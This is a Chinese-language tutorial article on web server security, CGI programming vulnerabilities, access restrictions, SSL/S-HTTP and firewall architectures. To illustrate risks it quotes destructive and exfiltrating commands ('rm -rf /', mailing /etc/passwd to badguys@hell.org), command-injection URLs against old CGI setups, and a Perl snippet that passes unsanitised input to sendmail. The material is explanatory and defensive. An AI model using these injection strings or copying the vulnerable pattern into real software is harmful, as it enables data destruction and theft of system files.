Web 安全技术与防火墙
来源:金融时报 更新时间:2012-04-13

 

   

1、概述   

  计算机的安全性历来都是人们讨论的主要话题之一。而计算机安全主要研究的是计算机病毒的防治和系统的安全。在计算机网络日益扩展和普及的今天,计算机安全的要求更高,涉及面更广。不但要求防治病毒,还要提高系统抵抗外来非法黑客入侵的能力,还要提高对远程数据传输的保密性,避免在传输途中遭受非法窃取。  

   在防治网络病毒方面,在http传输中HTML文件是一般不会存在感染病毒的危险。危险在于下载可执行软件如:.zip .exe .arj .Z 等文件过程中应特别加以注意。都有潜伏病毒的可能性。

  对于系统本身安全性,主要考虑服务器自身稳定性、健状性,增强自身抵抗能力,杜绝一切可能让黑客入侵的渠道,避免造成对系统的威胁。对重要商业应用,必须加上防火墙和数据加密技术加以保护。   在数据加密方面,更重要的是不断提高和改进数据加密技术,使不法分子难有可乘之机。

  当然,计算机系统安全是个很大的范畴,本章仅仅讨论在构造 web时,可能出现的一些情况,希望能引起重视。

2、WEB在安全上的漏洞

  WEB 服务器上的漏洞可以从以下几方面考虑:

  (1)在web服务器上你不让人访问的秘密文件、目录或重要数据。

  (2)从远程用户向服务器发送信息时,特别是信用卡之类东西时,中途遭不法分子非法拦截。

  (3) web服务器本身存在的一些漏洞,使得一些人能侵入到主机系统破坏一些重要的数据,甚至造成   系统瘫痪。

  (4)CGI安全方面的漏洞有:

   1〕有意或无意在主机系统中遗漏(bugs)给非法黑客创造条件。

   2〕用 CGI脚本编写的程序当涉及到远程用户从浏览器中输入表格(form) 并进行象检索(Search index)或form-mail之类在主机上直接操作命令时,或许会给web主机系统造成危险。

  因此,从CGI角度考虑WEB的安全性,主要是在编制程序时,应详细考虑到安全因素。尽量避免CGI程序中存在漏洞。

  从web服务器版本上分析:

  在1995年3月发现NCSA1.3以下版本的HTTPD明显存在安全上的漏洞,即客户计算机可以任意地执行服务器上面的命令,非常危险。但,NCSA1.4以上版本的服务器就补上了这个漏洞。还有一些简单的从网上下载WEB服务器,没有过多考虑到一些安全因素,不能用作商业应用。

   因此,不管是配置服务器,还是在编写 CGI程序时都要注意系统的安全性。尽量堵住任何存在的漏洞,创造安全的环境。在具体服务器设置及编写 cgi程序时应该注意:

  管理服务器上

  1)禁止乱用从其他网中下载的一些工具软件,并在没有详细了解之前尽量不要用root身份注册执行。以防止某些程序员在程序中设下的陷井,如:程序中加上一两行 "rm -rf /"或"mail username < /etc/passwd" 之类情况发生。

  2)在选用 web服务器时,应考虑到不同服务器对安全的要求不一样。一些简单的 web服务器就没有考虑到一些安全的因素,不能把他用作商业应用。只作一些个人的网点。

  3)在利用WEB中的.htpass来管理和校验用户口令时,存在校验的口令和用户名不受次数限制。

  3、如何在WEB上提高系统安全性和稳定性

  web服务器安全预防措施:

  〔1〕限制在web服务器开帐户,定期删除一些断进程的用户。

  〔2〕对在web服务器上开的帐户,在口令长度及定期更改方面作出要求,防止被盗用。

  〔3〕尽量使ftp, mail等服务器与之分开,去掉ftp,sendmail,tftp,NIS, NFS,finger,netstat等一些无关的应用。

  〔4〕在web服务器上去掉一些绝对不用的shell等之类解释器,即当在你的 cgi的程序中没用到perl时,就尽量把perl在系统解释器中删除掉。

  〔5〕定期查看服务器中的日志logs文件,分析一切可疑事件。在errorlog 中出现rm, login, /bin/perl, /bin/sh 等之类记录时,你的服务器可能有受到一些非法用户的入侵的尝试。

  〔6〕设置好web服务器上系统文件的权限和属性,对可让人访问的文档分配一个公用的组如:www,并只分配它只读的权利。把所有的HTML文件归属WWW组,由WEB管理员管理WWW组。对于WEB的配置文件仅对WEB管理员有写的权利。

  〔7〕有些WEB服务器把WEB的文档目录与FTP目录指在同一目录时,应该注意不要把FTP的目录与CGI-BIN指定在一个目录之下。这样是为了防止一些用户通过 FTP上在一些尤如PERL或SH之类程序并用WEB的CGI-BIN去执行造成不良后果。

  〔8〕通过限制许可访问用户IP或DNS如:

   在NCSA中的access.conf中加上:
   < Directory /full/path/to/directory >
    < Limit GET POST >
    order mutual-failure
    deny from all
    allow from 168.160.142. abc.net.cn
    < /Limit >
   < /Directory >

   这样只能是以域名为abc.net.cn或IP属于168.160.142的客户访问该WEB服务器。对于CERN或W3C服务器可以这样在httpd.conf中加上:

   Protection LOCAL-USERS {    GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5)    }    Protect /relative/path/to/directory/* LOCAL-USERS

  〔9〕WINDOWS下HTTPD  

  1)Netscape Communications Server for NT

   〖1〗Perl解释器的漏洞

   Netscape Communications Server中无法识别cgi-bin下的扩展名及其应用关系,如:.pl是PERL的代码程序自动调用 perl.exe文件解释,即使现在也只能把perl.exe文件存放在cgi-bin目录之下。执行如: /cgi-bin/perl.exe?&my_script.pl. 但是这就给任何人都有执行 perl的可能,当有些人在其浏览器的URL中加上如:/cgi-bin/perl.exe?&-e+unlink+%3C*%3E 时,有可能造成删除服务器当前目录下文件的危险。但是,其他如:O'Reilly WebSite或Purveyor都不存在这种漏洞。

   〖2〗CGI执行批处理文件的漏洞

   文件名:test.bat:

    @echo off
    echo Content-type: text/plain
    echo
    echo Hello World!

   如果客户浏览器的URL为:/cgi-bin/test.bat?&dir则执行调用命令解释器完成dir列表。这给访问者有执行其他命令可能性。

   2)O'Reilly WebSite server for Windows NT/95

   在WebSite1.1B以前的版本中使用配处理文件存在着Netscape同样的漏洞,但是,新版关闭.bat在cgi中的作用。支持perl,VB和C作为CGI开发工具。至于他的安全问题参看:
http://website.ora.com/devcomer/secalert1

   3)Microsoft's IIS Web Server

   在96年3月5日前的IIS在NT下的.bat CGI的 bug甚至比其他更严重,可以任意使用command命令。但之后修补该漏洞。你可检查你的可执行文件的建立日期。IIS3.0还存在一些安全bug,主要是cgi-bin下的覆给权利。

   另外,许多 WEB服务器本身都存在一些安全上的漏洞,都是在版本升级过程不断更新。在这就不一一列举。    从CGI编程角度考虑安全:

  〔1〕采用编译语言比解释语言会更安全些,并且 CGI程序应放在独立于HTML 存放目录之外的CGI-BIN下,是为了防止一些非法访问者从浏览器端取得解释性语言的原代码后从中寻找漏洞。

  〔2〕在用C来编写CGI程序时尽量少用popen(), system()和所有涉及/bin/sh 的shell命令。在Perl中system(), exec(), open(),eval()等exec或eval之类命令。在由用户填写的form还回cgi时,不要直接调用system()之类函数。这是为避免当填写内容为"rm -rf /*"或"/usr/lib/sendmail
nobody@nowhere.com; mail badguys@hell.org< /etc/passwd"之类内容。

  〔3〕用Perl编写CGI时如:

   $mail_to = &get_name_from_input;
     open (MAIL,"| /usr/lib/sendmail $mail_to");
     print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
     close MAIL; 该小程序是把客户浏览器的form到服务器的mail处理程序。

  另外,对于数据的加密与传输,目前有SSL,SHTTP,SHEN等协议供大家研究。

  〔1〕SSL(Secure Socket Layer)系由Netscape公司建议的一种建构在TCP协议之上的保密措施通讯协议,不但适用于HTTP,而且还适用于TELNET,FTP,NNTP, GOPHER等客户/服务器模式的安全协议。Netscape Navigator, Secure Mosaic, 和Microsoft Internet Explorer等客户浏览器与Netscape, Microsoft, IBM, Quarterdeck, OpenMarket 和 O'Reilly等服务器产品都采用SSL协议。

  详细请参看:
http://home.netscape.com/newsref/std/SSL.html

  〔2〕SHTTP(Secure HTTP)系由CommerceNet公司建议构造在HTTP协议之上的高层协议。目前由Open Market公司推销的 Open Marketplace 服务器结合Enterprise Integration Technologies的Secure HTTP Mosaic客户浏览器采用S-HTTP。

  详细参看:
http://www.eit.com/creations/s-http/

  4、防火墙(Firewall)

  (1)防火墙的概念

  当一个网络接上Internet之后,系统的安全除了考虑计算机病毒、系统的健壮性之外,更主要的是防止非法用户的入侵。而目前防止的措施主要是靠防火墙的技术完成。防火墙(firewall)是指一个由软件或和硬件设备组合而成,处于企业或网络群体计算机与外界通道(Internet)之间,限制外界用户对内部网络访问及管理内部用户访问外界网络的权限

。   随着人们对网络安全意识提高,在网络的防火墙上采取许多做法并也已开发出很多防火墙的产品。

  另外,有关防火墙更详细的情况请在Yahoo网点
http://www.yahoo.com 上用关键词firewall来查询更多有关firewall信息。

  (2)防火墙的措施

  目前主要采用的是两种结构:

  1)代理(Proxy)主机

    内部网络<----->代理网关(Proxy Gateway)<----->Internet

  这种方式是内部网络与Internet不直接通讯。就是内部网络计算机用户与代理网关采用一种通讯方式即提供内部网络协议(Netbios、TCP/IP 等)。而,网关与Internet之间采取的是标准TCP/IP网络通讯协议。这样使得网络数据包不能直接在内外网络之间进行。内部计算机必须通过代理网关访问Internet,这样容易在代理服务器上对内部网络计算机对访问外界计算机进行限制。另外,由于代理服务器两端采用不同协议标准也可以直接阻止外界非法入侵。还有,代理服务的网关可对数据封包进行验证和对密码进行确认等安全管制。这样,能较好地控制管理两端的用户起到防火墙作用。

  可想而知,这种防火墙措施是采用透过代理服务器进行,在联机用户多时,效率必然受到影响,代理服务器负担很重,并且许多访问Internet的客户软件在内部网络计算机中无法正常访问Internet。

  2)路由器加过滤器(Screened Host)完成

  内部网络<----->过滤器(Filter)<---->路由器(Router)<---->Internet   这种结构由路由器和Filter共同完成对外界计算机访问内部网络从IP地址或域名上的限制,也可以指定或限制内部网络访问Internet。路由器仅对筛虑主机的特定的PORT上数据通讯加以路由,而Filter主机则执行筛选、过滤、验证及其安全监控,这样可以很大程度隔断内外网络间的不正常的访问登陆。